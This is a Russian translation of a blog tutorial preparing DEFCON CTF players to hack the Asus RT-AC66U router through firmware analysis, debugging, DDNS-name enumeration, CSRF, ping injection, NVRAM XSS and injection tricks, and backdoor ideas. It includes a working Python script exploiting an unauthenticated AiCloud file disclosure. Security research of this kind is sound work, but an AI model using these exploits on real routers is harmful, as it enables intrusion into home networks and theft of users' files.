[Перевод] Взламываем Asus RT-AC66U и подготавливаемся к SOHOpelesslyBroken CTF

Наконец-то настал июль, время собираться на DEFCON. Фолловьте @defconparties в твиттере и определяйтесь, какие местечки посетить и на какие доклады сходить.В этом году будет новое соревнование — SOHOpelesslyBroken, от ISE и EFF. Цель Track 0 состоит в том, чтобы показать ранее неизвестные уязвимости в домашних беспроводных роутерах. Track 1 будет проходить в режиме CTF прямо во время DEFCON. CTFы всегда очень веселые, а конкретно этот подразумевает взлом реального железа, что веселее вдвойне!

imageАга, это мое рабочее место =P

Меня очень интересует EFF Open Wireless Router (переводчика, к слову, тоже), но они пока ничего не рассказывают об устройстве. В правилах соревнования значится ASUS RT-AC66U (HW Ver. A2) [Version 3.0.0.4.266] в качестве возможного устройства для взлома. У меня есть лишний RT-AC66U дома, поэтому я решил написать небольшой туториал для всех участников соревнования CTF

РазведкаПервым делом, нужно найти прошивку и ее исходный код. К счастью, Asus RT-AC66U лицензирован под GPL, и не составляет труда найти исходный код прошивки в интернете. Версия, используемая в CTF, старая, от 2012 года. Чтобы проанализировать прошивку получше, мы возьмем прошивку и исходники версий от v3.0.0.4.266 до v3.0.0.4.376.1123 (последняя версия на момент написания статьи): Asus RT-AC66u v3.0.0.4.266 — прошивкаAsus RT-AC66u v3.0.0.4.266 — исходный кодAsus RT-AC66u v3.0.0.4.376.1123 — прошивкаAsus RT-AC66u v3.0.0.4.376.1123 — исходный код

Множество обновлений прошивки было выпущено между этими двумя версиями, поэтому мы посмотрим историю их изменений: www.asus.com/Networking/RTAC66U/HelpDesk_Download/image

По правилам конкурса, мы должны обнаружить и эксплуатировать 0-day уязвимость. Можно соединить несколько разных уязвимостей, чтобы набрать побольше очков. Если производитель пропатчил уязвимость без сообщения о ней, а вы смогли ее проэксплуатировать, то она все-еще будет считаться 0-day уязвимостью (давайте не будем обсуждать терминологию).

Итак, у нас есть исходный код, настало время распаковать и исследовать его. CTF Field Guide от Trail of Bits содержит хорошие ресурсы по аудиту исходного кода. Можно использовать утилиты, вроде Beyond Compare, Araxis Merge и WinMerge под Windows, или Meld, если вы используете Linux.Будем работать с директорией »/asuswrt/release/src/router/». Сравним две версии через Meld: 42918f337c307a8647f025bf259290ae.png

У этого роутера уже есть много обнаруженных уязвимостей. Если вы хотите найти 0-day, вам нужно убедиться, что уязвимость не нашли до вас (и, поверьте, это самая сложная часть). В качестве примера:

У вас отнимут некоторое количество очков, если ваши эксплоиты требуют особой конфигурации системы или специальной информации. Так что, если вы хотите набрать много очков, вам стоит нацеливаться на стандартную конфигурацию сервисов и процессов.5c522dfde0fcb2f6b6ea38fa6c4edd1f.pngВо вкладке «Приложения USB» в RT-AC66U можно настроить некоторые сервисы, вроде FTP, DLNA, NFS и Samba.cd2b3f0e317a7ebf99c5269863e6fb1b.png

MiniDLNA тоже отличная цель. В нем можно легко найти уязвимости, используя исследование Zachary Cutlip’а, т.к. он ломал эту программу несколько раз.2172d3f69b906aeb8ea8f3def1debf6a.png

Другим потенциально уязвимым сервисом является AiCloud — он соединяет вашу домашнюю сеть с онлайн-хранилищем и дает доступ с мобильного устройства: 3c402710ad893082c79cdbc8be222fb4.png

Forensic Пока часть команды исследует исходный код, forensics-специалисты будут распаковывать прошивку с использованием binwalk и fmk: ef7a54c3d63c16a6e39b4583d11ca2c5.pngВы можете помнить binwally — утилиту, которую я написал для нахождения разницы между двумя бинарными деревьями с использованием fuzzy hashing. В Binwalk есть своя опция для проведения fuzzy hashing между файлами и директориями.3a578ebbeb7cfe258eac69e461fd8e0d.png

Большинство производителей (вроде Asus) не открывают целиком весь код. Вероятно, вам придется реверсить драйверы и бинарники, чтобы найти хорошую уязвимость. Бинарник с именем «ACSD» наиболее интересен из-за того, что его убрали из новых версий прошивки (v3.0.0.4.374.130+) из-за уязвимость, найденной Jacob Holcomb.a238cdcb97dce13817ad5bd6044225f4.png

Бинарники для MIPS Little Endian.028b64d609af70396314f3151e75ecea.png

Также, важно разузнать побольше о файловой системе. В OpenWRT Wiki есть замечательная статья про разметку флеш-памяти. MTD в Linux дает доступ к флеш-устройствам и позволяет создавать полноценные файловые системы на них. Можно зайти по ssh на устройство и посмотреть разметку: 2bf6979cdfefb64c5fbe0afee918c6d7.png

Раздел NVRAM очень ценен для нас, в нем хранятся все настройки устройства. Вы можем посмотреть его содержание просто сдампив нужны раздел (mtd1) или выполнив команду nvram show: aa8dfb38482c8a2148e6b2c04c502f26.png

e847abb58b49a8f897cdb2e5ad320018.png

Pmon — еще один интересный раздел. Он содержит данные, сжатые LZMA, которые использует загрузчик для восстановления прошивки при неудачном обновлении.7bbe22cbf137d2d4ab9ac623e830b3bb.png

ddc51f391d10eeeea9cc94c9d8c26d37.png

Взлом Время начать чего-нибудь взламывать. Нам нужны утилиты вроде gdb, gdbserver и strace для начала отладки бинарников. Мы можем их либо кросс-компилировать, либо настроить Optware/Entware и установить собранные пакеты.e7e59fb0c065b34e7d6cd035a575b955.pngWanduck (GPL_RT_AC66U_VER3004266/asuswrt/release/src/router/rc/wanduck.c) довольно интересный процесс для анализа. Он запускается по умолчанию, и поднимет псевдо-HTTP сервер на порту 18017. Этот HTTP-сервер перенаправляет каждый запрос на главный интерфейс и, по какой-то причине, отбрасывает все запросы, которые заканчиваются на ».ico».7df436a5f56d011beeb1c5fc96ba41e4.png

Давайте разберемся, почему он так делает — запустим gdbserver удаленно (gdbserver --multi localhost:12345 &) и соединимся любым отладчиком на ваше усмотрение. Если вы используете IDA Pro, откройте бинарник и установите тип процессора в «mipsrl».550f86ef58bf0a2bc3ac77371bcb62f6.png

Найдите функцию handle_http_req и установите точку останова на сравнении dst_url: e0b99d6d1197edbefda922dd0419027f.png

Введите host и port gdbserver’а в меню «Debugger / Process Options» и присоединитесь к нужному PID.4326f52fc051811f6db0f4bc4650b574.png

0ee152944d61546a02c7d23865b78020.png

Продолжите выполнение процесса (F9) и выполните HTTP-запрос на 192.168.1.1/x.ico. Отладчик остановится на заданной точке останова и вы сможете посмотреть регистры и память.9c9aeedd3a31b362fdf3ef28be5554ef.png

Если вы хотите найти другие цели для исследования, поищите их в директории «prebuilt» внутри «GPL_RT_AC66U_VER3004266/asuswrt/release/src/router/». Некоторые интересные бинарники:

/acsd/prebuilt/acsd /webdav_client/prebuilt/webdav_client /asuswebstorage/prebuilt/asuswebstorage /eapd/linux/prebuilt/eapd /nas/nas/prebuilt/nas /flash/prebuilt/flash /et/prebuilt/et /wps/prebuilt/wps_monitor /ated/prebuilt/ated /wlconf/prebuilt/wlconf Мобильное приложение AiCloud может раскрыть больше интересной информации о работе устройства. Если вы разреверсите APK, или используете перехватывающий прокси, вы сможете получить первичный HTTP-запрос приложения: d58bb5a6855a127de7636599695599e1.png5b0be90062b05e237f68df29f94b2cad.png

606320ca666bbc802781b3cc9fe79312.png

Заметили странный параметр ddns_hostname? Задачка на криптографию =) (переводчик так не считает).

Криптография POST-запрос пытается зарегистрировать новый Dynamic DNS адрес устройству, используя сервис asuscomm.com. Если мы поищем эту строку в исходниках RT-AC66U, то с легкостью найдем функцию, которая генерирует адрес DDNS: var isMD5DDNSName = function (){ var macAddr = '<% nvram_get("lan_hwaddr"); %>'.toUpperCase ().replace (/:/g,»); return «A»+hexMD5(macAddr).toUpperCase ()+».asuscomm.com»; } По информации с WikiDev, RT-AC66U использует следующие идентификаторы организации в MAC-адресах:

08:60:6E (1 E, 1 W, 2011) 10: BF:48 (1 E, 2 W, 2011) 30:85: A9 (3 E, 3 W, 2011) 50:46:5D (1 E, 2 W, 2012) Используя эту информацию, мы можем сопоставить IP адрес каждого роутера, использующего AiCloud. Просто сгенерируем список всех возможных MAC-адресов и переберем DNS-имена трюком mubix’а7390db1088a764a48043bdee7db663b5.png

Если вам слишком лениво запускать команду, вы можете поискать «asuscomm.com» на Shodan.03c20894b9d257778b713d71ccd81e86.png

AiCloud по умолчанию работает на портах 8082 и 443. Сам факт, что любой человек может с легкостью получить список роутеров, у которых запущен этот сервис, должен вызывать беспокойство, верно?

Другой интересной криптографической разминкой может быть разбор алгоритма для генерации WPS PIN-а устройства. Вы можете получить текущий PIN и secret_code, выполнив команду nvram show | grep -E secret_code|wps_device_pin». Поищите эти значения в исходном коде и используйте полученную информацию для написания кейгена (и не забудьте добавить чиптюн с pouet.net).7df42ddf648147f8312523df95ec89b9.png

e58485eb4a8561c5052f2dee0267d847.png

Вы также можете проверить энтропию ключей, сгенерированных на устройстве. Гляньте слайды «Fast Internet-wide Scanning and its Security Applications», чтобы почерпнуть пару идей.2ceff70b8eaec7af2ac41ceb93340af2.png

Веб Есть так много техник для тестирования веб-проникновений, что я сфокусируют только на паре из них. У интерфейса роутера нет никакой защиты от CSRF. Также есть традиционный инжект в ping-команде и куча векторов XSS.HTTP-демон основан на microhttpd. Тут есть базовая защита от выхода из директории в httpd.c:

d8f541c768474a958f4cd0d622a8ff0d.png

Мы можем бесстыдно стащить идею hackerfantastic и протестировать потенциальные обходы защиты:

#include #include

int main (int argc, char *argv[]){ char *file; int len; file = argv[1]; len = strlen (file); if (file[0] == '/' || strcmp (file,»…») == 0 || strncmp (file,»…/», 3) == 0 || strstr (file,»/…/») != (char*) 0 || strcmp (&(file[len-3]),»/…») == 0) { printf («Illegal filename: %s\n», file); } else { printf («Accepted filename: %s\n», file); } return 0; } a4243cf3091c85f7ae09124472ffcef6.png

В веб-сервере есть некоторые обработчики MIME, которые «должны были быть убраны»

// some should be removed struct except_mime_handler except_mime_handlers[] = { { «QIS_*», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «qis/*», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { »*.css», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «state.js», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «detect.js», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «popup.js», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «general.js», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «help.js», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «start_autodet.asp», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «start_apply.htm», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «start_apply2.htm», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «setting_lan.htm», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «httpd_check.htm», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «status.asp», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «automac.asp», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «detecWAN.asp», MIME_EXCEPTION_NORESETTIME}, { «detecWAN2.asp», MIME_EXCEPTION_NORESETTIME}, { «WPS_info.asp», MIME_EXCEPTION_NORESETTIME}, { «WAN_info.asp», MIME_EXCEPTION_NOAUTH_ALL|MIME_EXCEPTION_NORESETTIME}, { «result_of_get_changed_status.asp», MIME_EXCEPTION_NORESETTIME}, { «result_of_get_changed_status_QIS.asp», MIME_EXCEPTION_NOAUTH_FIRST|MIME_EXCEPTION_NORESETTIME}, { «result_of_detect_client.asp», MIME_EXCEPTION_NORESETTIME}, { «Nologin.asp», MIME_EXCEPTION_NOAUTH_ALL}, { «alertImg.gif», MIME_EXCEPTION_NOAUTH_ALL}, { «error_page.htm», MIME_EXCEPTION_NOAUTH_ALL}, { «jquery.js», MIME_EXCEPTION_NOAUTH_ALL}, { «gotoHomePage.htm», MIME_EXCEPTION_NOAUTH_ALL}, { «update_appstate.asp», MIME_EXCEPTION_NOAUTH_ALL}, { «update_cloudstatus.asp», MIME_EXCEPTION_NOAUTH_ALL}, { «get_webdavInfo.asp», MIME_EXCEPTION_NOAUTH_ALL}, { »*.gz», MIME_EXCEPTION_NOAUTH_ALL}, { »*.tgz», MIME_EXCEPTION_NOAUTH_ALL}, { »*.zip», MIME_EXCEPTION_NOAUTH_ALL}, { »*.ipk», MIME_EXCEPTION_NOAUTH_ALL}, { NULL, 0 } }; Файл get_webdavInfo.asp доступен без аутентификации и отображает большое количество важной информации об устройстве и сети: a124eec7d5ad6c4e30ce8102185ff9aa.png

Мы можем изменить значения переменных в nvram, чтобы установить XSS-бекдор на этой странице, например: 80530f40c65bedadfcfcb925de42f9cf.png

Некоторые операции используют функиции nvram_get и nvram_safe_get. Настройки, бывает, сохраняются через функцию nvram_set. Если роутер не экранирует данные, которые получает с NVRAM, то можно сделать что-то вроде NVRAM-инъекции (%0A, %0D и `reboot` всегда будут вашими помощниками в этом деле).

AiCloud — очень уязвимый сервис, который можно легко проэксплуатировать. Как только вы активируете его в настройках, на роутере запускается lighttpd на порту 8082 (или 443 на новых версиях прошивки) и предлагает дать доступ к вашим файлам онлайн. Прикол в том, что диалог ввода логина и пароля можно обойти, добавив /smb/ к URL (читайте исходники!)37d79a045c3e4cf67a0dbc518d81bbc9.png

a5f0ab4b6b7de4a058095ff37f43bea1.png

Я написал небольшой скрипт для эксплуатации этого бага в AiCloud на RT-AC66U v3.0.0.4.266. Он получает все файлы и пути на роутере, в том числе и с USB-устройств.

#!/usr/bin/python

from bs4 import BeautifulSoup import urllib2 import sys

def list_dir (url, start_dir): try: html_page = urllib2.urlopen (url+start_dir) except urllib2.HTTPError as e: print e sys.exit (1) soup = BeautifulSoup (html_page) for link in soup.findAll ('a'): path = link.get ('uhref') if path!= '…/': is_dir = link.get ('isdir') if is_dir == str ('1'): print url+path list_dir (url, path) else: print url+path

nargs = len (sys.argv) if nargs == 2: url = sys.argv[1] start_dir = »/smb» elif nargs == 3: url = sys.argv[1] start_dir = str (sys.argv[2]) else: print 'Asus RT-AC66U AiCloud Unauthenticated File Disclosure\ \nTested Firmwares: 3.0.0.4.266, 3.0.0.4.270 and 3.0.0.4.354\ \nDisclosed by Kyle Lovett\ \nScript by Bernardo Rodrigues — http://w00tsec.blogspot.com\ \nUsage: python %s http://url [path]' % sys.argv[0] sys.exit (1)

list_dir (url, start_dir) 8d2592288250ceaff2a47b758ec9dc4b.png3973352e7b275a637c4e7d6f73313b32.png

И напоследок, не забудьте сравнить разницу в файлах в директории www. По этому пути находятся все компоненты и скрипты, которые используются в веб-интерфейсе.06e38e55bc651787474eb08d66839398.png

Бонус Почему-бы не попробовать открыть крышку роутера, не повредив гарантийную пломбу? Для этого вам понадобятся советы от ребят из DEFCON Tamber Evident Village.61f9255440160905553f1f9bee6c4d02.png

Другое (вроде заключения) Взлом Asus RT-AC66U — отличное упражнение для новичков во взломе роутеров. Бо́льшая часть исходного кода есть в свободном доступе, и можно найти кучу эксплоитов и описаний уязвимостей для него. Вы могли и не заметить, но мы протестировали каждый пункт из OWASP Internet of Things Top 10. Ходят слухи, что этот роутер будет в составе базовой части OWASP IoT Webgoat и Damn Vulnerable Embedded Linux.Вот еще парочка подходов, которые вам могут дать дополнительные очки в соревновании:

Перезапись кода загрузчика и создание dual-boot с backdoor Добавление backdoor в прошивку таким образом, чтобы он не удалялся при обновлении прошивки Окирпичивание роутера удаленно Перепрограммирование LED на игру в PONG Есть еще куча вещей, о которых я хочу написать, но придержу их для следующих постов. Если вы намерены участвовать в SOHOpelesslyBroken CTF и нашли эту статью полезной, вы можете в любое время пнуть меня и попить со мной кофе во время DEFCON/BsidesLV/Blackhat =)

© Habrahabr.ru